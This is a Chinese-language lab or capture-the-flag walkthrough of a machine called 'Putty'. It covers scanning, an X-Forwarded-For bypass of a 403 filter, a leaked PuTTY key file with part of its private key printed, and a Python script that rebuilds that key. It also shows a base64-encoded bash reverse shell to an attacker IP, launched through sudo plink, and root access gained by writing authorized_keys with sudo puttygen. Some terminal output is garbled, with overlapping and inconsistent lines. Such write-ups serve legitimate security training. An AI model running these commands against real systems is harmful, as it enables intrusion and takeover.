


```

Initiating Connect Scan at 08:40
Scanning 10.185.127.75 [2 ports]
Discovered open port 80/tcp on 10.185.127.75
Discovered open port 22/tcp on 10.185.127.75
Completed Connect Scan at 08:40, 0.03s elapsed (2 total ports)
Initiating Service scan at 08:40
Scanning 2 services on 10.185.127.75
Completed Service scan at 08:40, 6.11s elapsed (2 services on 1 host)
NSE: Script scanning 10.185.127.75.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 08:40
Completed NSE at 08:41, 0.78s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 08:41
Completed NSE at 08:41, 0.11s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 08:41
Completed NSE at 08:41, 0.00s elapsed
Nmap scan report for 10.185.127.75
Host is up, received syn-ack (0.044s latency).
Scanned at 2026-07-03 08:40:53 CST for 7s

PORT      STATE SERVICE REASON  VERSION
22/tcp    open  ssh      syn-ack OpenSSH 10.3 (protocol 2.0)
80/tcp    open  http     syn-ack Apache httpd 2.4.67 ((Unix))
|_http-title: dprod - Digital product design agency
|_http-server-header: Apache/2.4.67 (Unix)
|_http-favicon: Unknown favicon MD5: 3B24ABD9C3B35A0F106C66F63A96DE09
| http-methods:
|   Supported Methods: OPTIONS HEAD GET POST TRACE
|_ Potentially risky methods: TRACE

NSE: Script Post-scanning.
NSE: Starting runlevel 1 (of 3) scan.
Initiating NSE at 08:41
Completed NSE at 08:41, 0.00s elapsed
NSE: Starting runlevel 2 (of 3) scan.
Initiating NSE at 08:41
Completed NSE at 08:41, 0.00s elapsed
NSE: Starting runlevel 3 (of 3) scan.
Initiating NSE at 08:41
Completed NSE at 08:41, 0.00s elapsed
Read data files from: /opt/homebrew/bin/./share/nmap
Service detection performed. Please report any incorrect results at
https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 7.27 seconds

```

0x02 立足点brendon用户

发现特征：.zip后缀文件名403拦截

这里在扫目录的时候发现出现了大量的403，并且共同的特征是 .zip。这里推测是服务器对 .zip 的文件名后缀进行了黑名单拦截，但毕竟只是推测还需要验证一下猜想，于是我就写了随意几个不存在的路径并且最终文件名携带 .zip，发现返回同样是403。

```
python dirsearch.py -u http://10.185.127.75
/users/KTrano/ame/hack/weapon/dirsearch/lib/core/installation.py:24: UserWarning: pkg_resources is deprecated as an API. See https://www.python.org/dev/peps/pep-0593/ for more details.
.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-30. Refrain from using the pkg_resources module in new projects.
Setuptools<81.

import pkg_resources

PORT    STATE SERVICE REASON  VERSION
22/tcp  open  ssh      syn-ack OpenSSH 10.3 (protocol 2.0)
(III) (C/II (C/I) open  http      syn-ack Apache httpd 2.4.67 ((Unix))
| http-title: dnpod - Digital product design agency
Extensions: php, asp, aspx, jsp, html, htm | HTTP method: GET | Threads: 25 | Wordlist size: 12293
| http-server-header: Apache/2.4.67 ((Unix))
Target: http://10.185.127.75/ on: Unknown favicon MD5: 3B24ABD9C3B35A0F106C66F63A96DE09
| http-methods:
[08:43:25] Scanning: Supported Methods: OPTIONS HEAD GET POST TRACE
[08:43:25] 403 - 316B - /asp.zip
[08:43:25] 403 - 316B - /php.zip
[08:43:25] 403 - 316B - /jsp.zip
[08:43:25] 403 -NSE316B - /aspx.zipcanning.
[08:43:25] 403 -NSE316B - /html.zipevel 1 (of 3) scan.
[08:43:25] 403 -Ini316B - /htm.zip 08:41
[08:43:26] 403 - 316B - /.agilekeychain.zip
[08:43:30] 403 - 316B - /.zip
[08:43:30] 403 -NSE316B - /1.ziplevel 2 (of 3) scan.
[08:43:30] 403 -Ini316B - /2000.zip08:41
[08:43:30] 403 -Com316B - /2001.zip8:41, 0.00s elapsed
[08:43:30] 403 -NSE316B - /2002.zipevel 3 (of 3) scan.
[08:43:30] 403 - 316B - /2003.zip
[08:43:30] 403 -Ini316B - /2005.zip 08:41
[08:43:30] 403 -Com316B - /2004.zip8:41, 0.00s elapsed
[08:43:30] 403 -Rea316B - /2006.zipom: /opt/homebrew/bin/./share/nmap
[08:43:30] 403 -Ser316B - /2007.zipperformed. Please report any incorrect results at https://nmap.org/submit/ .
[08:43:30] 403 - 316B - /2008.zip
[08:43:30] 403 - 316B - /2009.zip
[08:43:30] 403 - 316B - /2010.zip
[08:43:30] 403 - 316B - /2012.zip
```

```
curl -iL http://10.185.127.75/asdsds/d123.zip
HTTP/1.1 403 Forbidden
Date: Fri, 03 Jul 2026 00:48:20 GMT
Server: Apache/2.4.67 (Unix)
Content-Length: 316
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.67 (Unix) Server at 10.185.127.75 Port 80</address>
</body></html>

pyvenv ~/ame/hack/weapon/dirsearch git:(master) 1 • +1 -3 (0.1s)
curl -iL http://10.185.127.75/a/b/c/d/123.zip
HTTP/1.1 403 Forbidden
Date: Fri, 03 Jul 2026 00:48:32 GMT
Server: Apache/2.4.67 (Unix)
Content-Length: 316
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.67 (Unix) Server at 10.185.127.75 Port 80</address>
</body></html>
```

403拦截绕过

在前面的信息收集都做的差不多之后，没有找到可利用的点。我就又回到了上面403这个特征点上，会不会是403绕过呢？因为之前挖src的时候也碰到了403场景，不过那是fuzz接口，观察和验证猜想的时候也是发现资产后端拦截器对非存在的路由进行403拦截（非404返回不存在），而存在的白名单路由都是404，后续我是针对404进行二级和多级路由的fuzz，拿到了存在漏洞的接口。

而这里应该是存在某个.zip文件，很容易联想到备份文件之类的，或者绕过拦截后我们能够进行进一步针对.zip文件的fuzz。这里我们并没有发现登陆接口，并且无法判断服务器是全拦截还是验证类拦截。如果是验证类拦截的话，服务器要验证我们是谁的话只能通过请求头某个参数了，这里首先想到了X-Forwarded-For。这里是运气比较好，没有成功的话只能fuzz请求头了。

可以看到，不存在的路由验证成功预期返回了404，而未验证成功还是403。

```
curl -iL http://10.185.127.75/a/b/c/123.zip -H "X-Forwarded-For: 127.0.0.1"
HTTP/1.1 404 Not Found
Date: Fri, 03 Jul 2026 01:02:10 GMT
Server: Apache/2.4.67 (Unix)
Content-Length: 313
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head>
<title>404 Not Found</title>
</head><body>
<h1>Not Found</h1>
<p>The requested URL was not found on this server.</p>
<hr>
<address>Apache/2.4.67 (Unix) Server at 10.185.127.75 Port 80</address>
</body></html>

pyvenv ~/ame/hack/weapon/dirsearch git:(master) 1.1.1+1.-3 (0.091s)
curl -iL http://10.185.127.75/a/b/c/123.zip -H "X-Forwarded-For: 127.0.0.11"
HTTP/1.1 403 Forbidden
Date: Fri, 03 Jul 2026 01:09:15 GMT
Server: Apache/2.4.67 (Unix)
Content-Length: 316
Content-Type: text/html; charset=iso-8859-1

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html><head>
<title>403 Forbidden</title>
</head><body>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>
<hr>
<address>Apache/2.4.67 (Unix) Server at 10.185.127.75 Port 80</address>
</body></html>
```

备份文件密钥泄漏

携带请求头 `X-Forwarded-For: 127.0.0.1` 进一步fuzz，主要针对 `.zip` 后缀，这里成功找到了一个 `1.zip` 的压缩文件。

```
python dirsearch.py -u http://10.185.127.75 -H "X-Forwarded-For: 127.0.0.1" -e .zip
/Users/kirano/ame/hack/weapon/dirsearch/lib/core/installation.py:24: UserWarning: pkg_resources is deprecated as an API. See https://setuptools.pypa.io/en/latest/pkg_resources.html. The pkg_resources package is slated for removal as early as 2025-11-01.
SetupTools<81.
import pkg_resources

<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/T
<title>403 Forbidden</title>
<h1>Forbidden</h1>
<p>You don't have permission to access this resource.</p>

[09:14:17] Scanning:
[09:14:20] 200 - 2KB - /1.zip
[09:14:23] 200 - 429B - /assets/
[09:14:23] 301 - 353B - /assets -> http://10.185.127.75/assets/
[09:14:24] 200 - 820B - /cgi-bin/printenv
[09:14:24] 200 - 1KB - /cgi-bin/test-cgi
[09:14:27] 200 - 26KB - /index.html
[09:14:30] 403 - 316B - /server-status
[09:14:30] 403 - 316B - /server-status/

Task Completed
```

下载后查看了一下文件内容，发现是 .ppk 的文件也就是putty的私钥文件，看来今天的靶机主题到了。putty是一个ssh客户端软件，在回忆里我刚开始学习linux的时候培训课老师推荐的就是这个。

```
wget http://10.185.127.75/1.zip --header="X-Forwarded-For: 127.0.0.1"
--2026-07-03 09:19:43-- http://10.185.127.75/1.zip
正在连接 10.185.127.75:80... 已连接。
已发出 HTTP 请求，正在等待回应... 200 OK
长度: 2383 (2.3K) [application/zip]
正在保存至: "1.zip"
1.zip 100%[=====]
2026-07-03 09:19:43 (325 MB/s) - 已保存 "1.zip" [2383/2383])

pyenv ~/ame/hack/lab/mazesec-lab/Putty (0.05s)
unzip 1.zip
Archive: 1.zip
  creating: backup_web
  inflating: backup_web/key.ppk
```



```
cat backup_web/key.ppk
```

```
PuTTY-User-Key-File-3: ssh-rsa
```

```
Encryption: none
```

```
Comment: brendon
```

```
Public-Lines: 12
```

```
AAAAB3NzaC1yc2EAAAADAQABAAQCAQC20DOGuV1JrvtV8R0j8QNhEtUGtNthRkH3  
3RUdRKdW/vvBf4xehfbsRVcc4EQwFEGG8uL4DH2bxWno68JDK71NOQapAr5RYgiq  
Bed3XlgFhxlaAdvV9qXC7V5VdHvaD37DtRE+5Emk4/u2sFvaMKfR0b8/9ke3o+F3  
hpZGYczUErxsX+y4Wx5psIn3i/QMs8gYQ1swtm0IaPa12g/GreP9B3KXhe/NcXim  
PF5LszSIhi54j1rkh5LFeRRu/LcCVdF7a7C9/ghQauwLONDpufDC3WL/r0vZnBga  
l1WQ4r+pTfPes1btowRzno+5fIFmmCJWZvR2qC8C0yQC9zI0dUx7sR9Z+2/54sWY  
Yd03HPrQaHlCCIB+i8wBlwktYZfZP/cwReB8N52L6bNoL/UBb0WKcAQkPHV+BMXh  
WbMv1Pmf0VB2COWrY3FmgpEQV7ICgftnKYSiSUdQg8NKP9KJ00nDg7k+F1ekTi48  
Dbno305L117eUY08nShuR/4NSfHPJ81QDPI7TK4r2X4E9s3s19WTb5wsNckd3HH/  
TxG/SZTtt9q5iBoJiKDCI2FIXr9Bx+Xp7yTw72hQe31qzfaaAtdMc20vxVkUAkAH  
rHsrVUAtr94dJ5Sjzf7y2hIGr443dK3TK37s5QZRs8Ggf05IROaFh9EZRApJHU12  
IEx3zQ2PHw==
```

```
Private-Lines: 28
```

```
AAACAAQFQtzVaRSnGzKiAViTAWwDf1k3vmC+oXzIs/TXfwapckf90iHSDcLXK0Sj  
BLI5/9GZTec+qb80nEZZyQVJKjjJ5EebSSw+XQpq5ChP6Yeq7PfPH/1DVhSaESpi  
oXFY8zoX+q/IvYXkLb0wNT+bNQB0UNJ19tB8c4ekF3H80fsSs79+bJUGtqiEZW8N  
o5RpRSF0JJdHASbfiBfQWpXNWpJEs6n0xvNcZ4GLGLfNMn6Tf4954k8xsXH+XmCt  
K36K/KHGQIuCfBRTWwBJg5lgVCyKSg5bcznEoRMUo6EdcNxRsTyt8l96PQLTSJM/  
wGjNN77Gt4xUg+l//e7Cw6vmWIQ7l+nDqXnbcgUEItizY1M2DauSq9hdsYseD5w/  
B+kYgS3aENTMFAE7CuFwtlkysy0L5bW/U+Zx5iuGKQX8CY8ycW8hrmSF6MVkkhcA  
h7VWUW2t066o1drfHIupUtgRZTSBhIrwnCdqTxMosVig0sPBrDILM2l3vrBk596T  
rRNWZcCjrewDHmu2yFcitgcyVCXBHpv7+oeb0iYcapoqFNV77l3E0dse2JAFKxo  
x7/vFfJ6w9zLFsYIUe58YpczU04M/LuoEhA319600lPRJvBIae01Kg6ceMhBNHyL  
CX5pIGtmkvC7zANZjGINXGCx6PS08HSvW28EAgfLY/IDrCXhAAABAQD9VCcDfhSa  
Y9V4xz65bxzp4t2geAKXsSU0tBaZtoDmKYnCAqwAV6n0YWny4yFvhnxaiDvXfdAY  
50iBJbGEAIUFcWXba+9PtS9/26vVGLKE2GjV8Ca1qoM5HIOPGdKIhg3KmEC5QegT  
XJnAIyJEilFGnRXv2D6wNlbBb4EUaX02XeIFWq8j1w8HDL5hvtwuHdqcy00Xgbjt  
fogXK9bk6+K0rfNPXG4+GGIqMT62hszzuaV5qEl2A75Vsz55zTUPxInt+xFH5oZ2
```

密钥文件还原

尝试将这个putty密钥格式转换为ssh的密钥，发现失败了。提示 `MAC failed`。需要先去了解一下这个密钥文件了，以及失败的原因。

```
puttygen backup_web/key.ppk -O private-openssh -o key.pem  
puttygen: error loading `backup_web/key.ppk': MAC failed
```

关于密钥文件格式（拷打的ai）

`.ppk` 文件是 PuTTY 的专属私钥存储格式。它的设计将公钥、私钥和元数据整合在一个文本文件中，其结构清晰，主要由文本头部和 Base64 编码的数据块构成。一个典型的 `.ppk` 文件内容如下：

```
PuTTY-User-Key-File-3: ssh-rsa
Encryption: none
Comment: rsa-key-2024
Public-Lines: 6
(此处为公钥的 Base64 编码数据)
Private-Lines: 14
(此处为私钥的 Base64 编码数据)
Private-MAC: (此处为用于校验完整性的哈希值)
```

- 文件头部参数 (Header)：文件的头部是纯文本格式，包含了关于密钥本身的元数据。
 - `PuTTY-User-Key-File-<version>`：文件格式版本标识，例如 `PuTTY-User-Key-File-3: ssh-rsa`。
 - `<version>`：格式版本号，目前广泛使用的是 2 和 3。你在之前看到的 `PuTTY-User-Key-File-3` 就是版本 3。
 - `<algorithm-name>`：密钥的算法，如 `ssh-rsa` (RSA)、`ssh-dss` (DSA)、`ecdsa-sha2-nistp256` (ECDSA) 或 `ssh-ed25519` (Ed25519)。
 - `Encryption: <encryption-type>`：私钥部分的加密方式。
 - `none`：表示私钥未加密，以明文存储。
 - `aes256-cbc`：表示使用 **AES-256-CBC** 算法对私钥进行加密，需要密码才能使用。
 - `Comment: <key-comment-string>`：用户为密钥添加的注释，便于识别。
- 数据主体 (Data Body)：文件的中间部分是公钥和私钥数据，采用了“行数+数据”的格式。
 - `Public-Lines: <count>`：接下来公钥数据的 Base64 编码行数。
 - (公钥的 Base64 编码数据)：紧接着的若干行就是公钥的编码。
 - `Private-Lines: <count>`：接下来私钥数据的 Base64 编码行数。如果 `Encryption` 字段不是 `none`，这部分数据是加密的。
 - (私钥的 Base64 编码数据)：紧接着的若干行就是私钥的编码（可能加密）。
- 完整性校验 (Integrity Check)：文件末尾的 `Private-MAC` 字段用于防篡改校验。
 - `Private-MAC: <hmac-value>`：这是一个基于 SHA-1 的 HMAC 哈希值。
 - 它的计算覆盖了文件中的公钥、私钥和注释等关键部分。任何对文件的修改都会导致 MAC 校验失败，从而保证了密钥的完整性和安全性
- 明文 RSA 私钥的内部结构（解码后）：在二进制流中，数据按以下顺序紧密排列（均为大整数 `mpint` 格式）

- **n (模数)** —— 公钥和私钥共享的大整数 ($p * q$ 的乘积)。
- **e (公钥指数)** —— 通常固定为 65537 (0x010001)。
- **d (私钥指数)** —— 解密/签名的核心，数学上 $d \equiv e^{-1} \bmod (p-1)(q-1)$ 。
- **p (第一个质因数)** —— 秘密素数。
- **q (第二个质因数)** —— 秘密素数。
- **iqmp (中国剩余定理系数)** —— 用于加速解密计算的 $q^{-1} \bmod p$ 。

(在某些 OpenSSH 格式中还会包含 `dp` 和 `dq`，但 PuTTY 的标准格式中，**p** 和 **q** 是明确按序列明文存储的。)

为什么会出现“MAC failed”?

`.ppk` 文件末尾的 `Private-MAC` 字段是对整个私钥部分（包括加密信息）的校验和。出现该错误通常因为：

- 文件被手动编辑过（比如复制粘贴时改动了换行符或空格）。
- 文件在传输过程中损坏（如 FTP 未使用二进制模式）。
- 文件并非合法的 `.ppk` 格式（可能从别的格式改名而来）。
- 文件头部声明的 `Encryption: none` 与实际的 MAC 计算方式不一致。

经过确定是第4个原因，我们只需要根据明文 RSA 私钥的内部结构中加密参数还原为正确私钥即可

还原密钥exp

```
#!/usr/bin/env python3
import base64
from cryptography.hazmat.primitives import serialization
from cryptography.hazmat.primitives.asymmetric import rsa

def read_blob(data, offset):
    length = int.from_bytes(data[offset:offset+4], 'big')
    offset += 4
    return data[offset:offset+length], offset + length

# ----- 读取 ppk -----
with open("backup_web/key.ppk", "r") as f:
    lines = [line.strip() for line in f]

# ----- 提取公钥 (e, n) -----
pub_b64 = ""
in_pub = False
for line in lines:
    if line.startswith("Public-Lines:"):
        in_pub = True
        continue
    if line.startswith("Private-Lines:") or line.startswith("Private-MAC:"):
        in_pub = False
    if in_pub:
        pub_b64 += line

pub_raw = base64.b64decode(pub_b64)
```

```

_, off = read_blob(pub_raw, 0)
e_bytes, off = read_blob(pub_raw, off)
n_bytes, off = read_blob(pub_raw, off)
e = int.from_bytes(e_bytes, 'big')
n = int.from_bytes(n_bytes, 'big')

# ----- 提取私钥 (d, p, q, iqmp) -----
priv_b64 = ""
in_priv = False
for line in lines:
    if line.startswith("Private-Lines:"):
        in_priv = True
        continue
    if line.startswith("Private-MAC:"):
        in_priv = False
    if in_priv:
        priv_b64 += line

priv_raw = base64.b64decode(priv_b64)
off = 0
d_bytes, off = read_blob(priv_raw, off)
p_bytes, off = read_blob(priv_raw, off)
q_bytes, off = read_blob(priv_raw, off)
iqmp_bytes, off = read_blob(priv_raw, off)
d = int.from_bytes(d_bytes, 'big')
p = int.from_bytes(p_bytes, 'big')
q = int.from_bytes(q_bytes, 'big')
iqmp = int.from_bytes(iqmp_bytes, 'big')

# ----- 使用 cryptography 构建私钥 -----
private_numbers = rsa.RSAPrivateNumbers(
    p=p, q=q, d=d,
    dmp1=d % (p-1),
    dmql=d % (q-1),
    iqmp=iqmp,
    public_numbers=rsa.RSAPublicNumbers(e=e, n=n)
)
private_key = private_numbers.private_key()

# ----- 导出 PEM -----
pem = private_key.private_bytes(
    encoding=serialization.Encoding.PEM,
    format=serialization.PrivateFormat.TraditionalOpenSSL,
    encryption_algorithm=serialization.NoEncryption()
)

with open("key.pem", "wb") as f:
    f.write(pem)

print("✅ 成功生成 key.pem")

```

最终使用还原后的密钥登陆成功

```

pyvenv ~/ame/hack/lab/mazesec-lab/Putty (0.444s)
python fixed.py
✅ 成功生成 key.pem
pyvenv ~/ame/hack/lab/mazesec-lab/Putty (0.05s)
chmod 600 key.pem
pyvenv ~/ame/hack/lab/mazesec-lab/Putty (0.417s)
ssh -i key.pem brendon@10.185.127.75
brendon@Putty:~ (0.264s)
sort: unrecognized option: C
BusyBox v1.37.0 (2026-01-10 15:38:28 UTC) multi-call binary.

Usage: sort [-nrughMcszdbdfiokt] [-o FILE] [-k START[.OFS][OPTS][,END[.OFS][OPTS]] [-t CHAR] [FILE]..

Sort lines of text

-o FILE Output to FILE
-c Check whether input is sorted
-b Ignore leading blanks
-f Ignore case
-i Ignore unprintable characters
-d Dictionary order (blank or alphanumeric only)
-n Sort numbers
-g General numerical sort
-h Sort human readable numbers (2K 1G)
-M Sort month
-V Sort version
-t CHAR Field separator
-k N[,M] Sort by Nth field
-r Reverse sort order
-s Stable (don't sort ties alphabetically)
-u Suppress duplicate lines
-z NUL terminated input and output
sort: unrecognized option: C
BusyBox v1.37.0 (2026-01-10 15:38:28 UTC) multi-call binary.

Usage: sort [-nrughMcszdbdfiokt] [-o FILE] [-k START[.OFS][OPTS][,END[.OFS][OPTS]] [-t CHAR] [FILE]..

```

第一个flag

flag{user-05e038b468e2bd252858cde92baae7bf}

```
channel 31: open failed: connect failed: open failed
brendon@Putty ~ (0.12s)
ls -ailh
total 16K
 150 drwxr-sr-x   4 brendon brendon   4.0K Jun  8 23:27 .
 7914 drwxr-xr-x   4 root    root    4.0K Jun  9 15:06 ..
  967 drwx--S---   2 brendon brendon   4.0K Jun  8 23:24 .putty
   95 drwx--S---   2 brendon brendon   4.0K Jun  8 23:22 .ssh

brendon@Putty ~ (0.105s)
ls -ailh ../
total 16K
 7914 drwxr-xr-x   4 root    root    4.0K Jun  9 15:06 .
    2 drwxr-xr-x  21 root    root    4.0K Jul  2 14:15 ..
  150 drwxr-sr-x   4 brendon brendon   4.0K Jun  8 23:27 brendon
   23 drwxr-sr-x   3 rosers  rosers   4.0K Jul  2 14:14 rosers

brendon@Putty ~ (0.04s)
ls -ailh ../rosers/
total 16K
   23 drwxr-sr-x   3 rosers  rosers   4.0K Jul  2 14:14 .
 7914 drwxr-xr-x   4 root    root    4.0K Jun  9 15:06 ..
  304 drwx--S---   2 rosers  rosers   4.0K Jun  9 15:07 .putty
   42 -rw-r--r--    1 root    rosers    44 Jul  2 14:14 user.txt

brendon@Putty ~ (0.038s)
cat ../rosers/user.txt
flag{user-05e038b468e2bd252858cde92baae7bf}
```

0x03 横行移动到rosers

`sudo -l` 发现能够无密码认证以 rosers 用户执行 `/usr/bin/plink`，查看了一下帮助信息，发现能够执行命令的参数 `-preconnectcommand`

```

brendon@Putty ~ (0.067s) -s Stable (don't sort ties alphabetically)
sudo -l
Matching Defaults entries for brendon on Putty:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for brendon:
    Defaults!/usr/sbin/visudo env_keep+=("SUDO_EDITOR EDITOR VISUAL")

User brendon may run the following commands on Putty:
    (rosers) NOPASSWD: /usr/bin/plink

brendon@Putty ~ (0.067s)
plink --help
Plink: command-line connection utility
Release 0.84
Usage: plink [options] [user@]host [command] / disable X11 forwarding
      ("host" can also be a PuTTY saved session name) agent forwarding
Options:
    -V          print version information and exit
    -pgfpfp     print PGP key fingerprints and exit
    -v          show verbose messages
    -load sessname Load settings from saved session
    -ssh -telnet -rlogin -raw -serial
                force use of a particular protocol
    -ssh-connection
                force use of the bare ssh-connection protocol
    -P port      connect to specified port
    -l user      connect with specified username
    -batch       disable all interactive prompts
    -proxycmd command
                use 'command' as local proxy
    -preconnectcommand command
                run 'command' before making network connection
    -sercfg configuration-string (e.g. 19200,8,n,1,X)
                Specify the serial configuration (serial only)

The following options only apply to SSH connections:
    -pwfile file login with password read from specified file
    -D [listen-IP:]listen-port
                Dynamic SOCKS-based port forwarding
    -L [listen-IP:]listen-port:host:port
                Forward local port to remote address
    -R [listen-IP:]listen-port:host:port
                Forward remote port to local address
    -X -x        enable / disable X11 forwarding
    -A -a        enable / disable agent forwarding
    -t -T        enable / disable pty allocation
    -1 -2        force use of particular SSH protocol version
    -C           test whether a connection-sharing upstream exists

```

通过这个参数进行反弹shell: `sudo -u rosers plink localhost -preconnectcommand "printf`

`KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTg1LjEyNy45NS81NTU1IDA+JjEpICY=|base64 -d|bash"`


```

brendon@Putty ~ (6s)
sudo -u rosters plink localhost -preconnectcommand "printf KGJhc2ggPiYgL2Rldi90Y3AvMTAuMTg1LjEyNy45NS81NTU1IDA+JjEpICY=|base64 -d|bash"
Using username "rosters".
rosters@localhost's password: █

python penelope.py -p 5555
[+] Listening for reverse shells on 0.0.0.0:5555 -> 127.0.0.1 • 10.185.127.95 • 10.211.55.2 • 10.37.129.2 • 10.189.207.2
> 🏠 Main Menu (m) 🧠 Payloads (p) 🔄 Clear (Ctrl-L) 🛑 Quit (q/Ctrl-C)
[+] [New Reverse Shell] => Putty 10.185.127.75 Linux-x86_64 🧑 rosters(1001) 🚗 Session ID <1>
[+] Upgrading shell to PTY...
[!] Python agent cannot be deployed. I need to maintain at least one Raw session to handle the PTY
[+] Attempting to spawn a reverse shell on 10.185.127.95:5555
[+] [New Reverse Shell] => Putty 10.185.127.75 Linux-x86_64 🧑 rosters(1001) 🚗 Session ID <2>
[+] PTY upgrade successful via /usr/bin/script
[+] Interacting with session [1] • PTY • Menu key F12 ⇐
[+] Session log: /Users/kirano/.penelope/sessions/Putty~10.185.127.75-Linux-x86_64/2026_07_03-10_19_19-330.log

Putty:/hopwd
/home/brendon
Putty:/home/brendon$ whoami
rosters
Putty:/home/brendon$ █

```

0x04 提权到root

同样的 `sudo -l`，发现能够无密码认证以 root 用户执行 `/usr/bin/puttygen`

```

Putty:/home/brendon$ sudo -l
Matching Defaults entries for rosters on Putty:
    secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin

Runas and Command-specific defaults for rosters:
    Defaults!/usr/sbin/visudo env_keep+=("SUDO_EDITOR EDITOR VISUAL")

User rosters may run the following commands on Putty:
    (ALL) NOPASSWD: /usr/bin/puttygen
Putty:/home/brendon$ █

```

后续思路就很明确了，通过ssh生成私钥，puttygen根据这个私钥生成公钥使用-o参数以root身份写入到root的.ssh目录里，最后通过私钥连接到root

```
Putty:/home/brendon$ ssh-keygen -t rsa -b 4096 -f /tmp/mykey -N ""  
Generating public/private rsa key pair.  
Your identification has been saved in /tmp/mykey  
Your public key has been saved in /tmp/mykey.pub  
The key fingerprint is:  
SHA256:yXzIFtQuYIB5ik8AWoxrFVhWnwesknGDNAScFCqO38E rosters@Putty  
The key's randomart image is:  
+---[RSA 4096]-----+  
|=*XX=O...          |  
|==+OO+OO         .|  
|+++.o+.o+.o      .|  
|*.o+..+.o+       )|  
|o+Eentification   ||  
|.ur..public.key    ||has been saved in /tmp/atk_root  
|e key fingerprin||is:  
|A256:7pbxNrvtOp9jImYN2g7gcUUhyYM7pBFA3oCt+pPgLp4 rosters@Putty  
The key's randomart image is:  
+-----[SHA256]-----+  
Putty:/home/brendon$  
Putty:/home/brendon$ sudo puttygen /tmp/mykey -O public-openssh -o /root/.ssh/authorized_keys  
Putty:/home/brendon$ ssh -i /tmp/mykey root@127.0.0.1  
The authenticity of host '127.0.0.1 (127.0.0.1)' can't be established.  
ED25519 key fingerprint is: SHA256:xJ90oWmr5sPR2afHz9etzSdtXiNmLI+jvbwGV/iCsWY  
This key is not known by any other names.  
Are you sure you want to continue connecting (yes/no/[fingerprint])? yes  
Warning: Permanently added '127.0.0.1' (ED25519) to the list of known hosts.
```